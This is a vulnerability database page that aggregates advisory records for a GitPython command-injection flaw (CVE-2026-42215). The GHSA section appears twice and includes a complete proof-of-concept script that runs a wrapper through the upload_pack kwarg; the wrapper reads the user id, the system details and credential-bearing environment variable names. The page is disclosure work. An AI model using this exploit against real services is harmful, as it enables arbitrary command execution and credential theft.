Vulnerability-Lookup

PYSEC-2026-2160

Vulnerability from pysec - Published: 2026-05-07 19:16 - Updated: 2026-07-13 05:48

Details

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
gitpython	pkg:pypi/gitpython

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "gitpython",
        "purl": "pkg:pypi/gitpython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.30"
            },
            {
              "fixed": "3.1.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.1.30",
        "3.1.31",
        "3.1.32",
        "3.1.33",
        "3.1.34",
        "3.1.35",
        "3.1.36",
        "3.1.37",
        "3.1.38",
        "3.1.40",
        "3.1.41",
        "3.1.42",
        "3.1.43",
        "3.1.44",
        "3.1.45",
        "3.1.46"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42215",
    "GHSA-rpm5-65cw-6hj4"
  ],
  "details": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.",
  "id": "PYSEC-2026-2160",
  "modified": "2026-07-13T05:48:53.336190Z",
  "published": "2026-05-07T19:16:01.640Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-42215 (GCVE-0-2026-42215)

Vulnerability from cvelistv5 – Published: 2026-05-07 18:17 – Updated: 2026-05-09 03:56

Title

GitPython: Command injection via Git options bypass

Summary

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-08 00:00 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/gitpython-developers/GitPython…	x_refsource_CONFIRM
https://github.com/gitpython-developers/GitPython…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
gitpython-developers	GitPython	Affected: >= 3.1.30, < 3.1.47

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42215",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-08T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-09T03:56:00.861Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "GitPython",
          "vendor": "gitpython-developers",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.1.30, \u003c 3.1.47"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T18:17:03.194Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
        },
        {
          "name": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
        }
      ],
      "source": {
        "advisory": "GHSA-rpm5-65cw-6hj4",
        "discovery": "UNKNOWN"
      },
      "title": "GitPython: Command injection via Git options bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42215",
    "datePublished": "2026-05-07T18:17:03.194Z",
    "dateReserved": "2026-04-25T05:04:37.028Z",
    "dateUpdated": "2026-05-09T03:56:00.861Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-RPM5-65CW-6HJ4

Vulnerability from github – Published: 2026-04-25 23:42 – Updated: 2026-05-08 21:52

Summary

GitPython has Command Injection via Git options bypass

Details

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

upload_pack=... becomes --upload-pack=...
receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

test/test_clone.py:129-136 checks {"upload-pack": ...}
test/test_remote.py:830-833 checks {"upload-pack": ...}
test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

# the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())

Expected result:
The script prints control=blocked
The script prints proof_exists True ...
The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact

Who is impacted: - Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior - Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.30"
            },
            {
              "fixed": "3.1.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:42:16Z",
    "nvd_published_at": "2026-05-07T19:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0027re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf \u0027argv=\u0027; printf \u0027\u003c%s\u003e\u0027 \"$@\"; echo\n  env | grep -E \u0027^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0027 | sed \u0027s/=.*$/=\u003credacted\u003e/\u0027 || true\n}} \u003e \u0027{proof}\u0027\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n    [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\": wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n    print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin  \u003credacted\u003e Darwin Kernel Version  \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.",
  "id": "GHSA-rpm5-65cw-6hj4",
  "modified": "2026-05-08T21:52:12Z",
  "published": "2026-04-25T23:42:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython has Command Injection via Git options bypass"
}

Sightings

Author	Source	Type	Date	Other

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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PYSEC-2026-2160

CVE-2026-42215 (GCVE-0-2026-42215)

GHSA-RPM5-65CW-6HJ4

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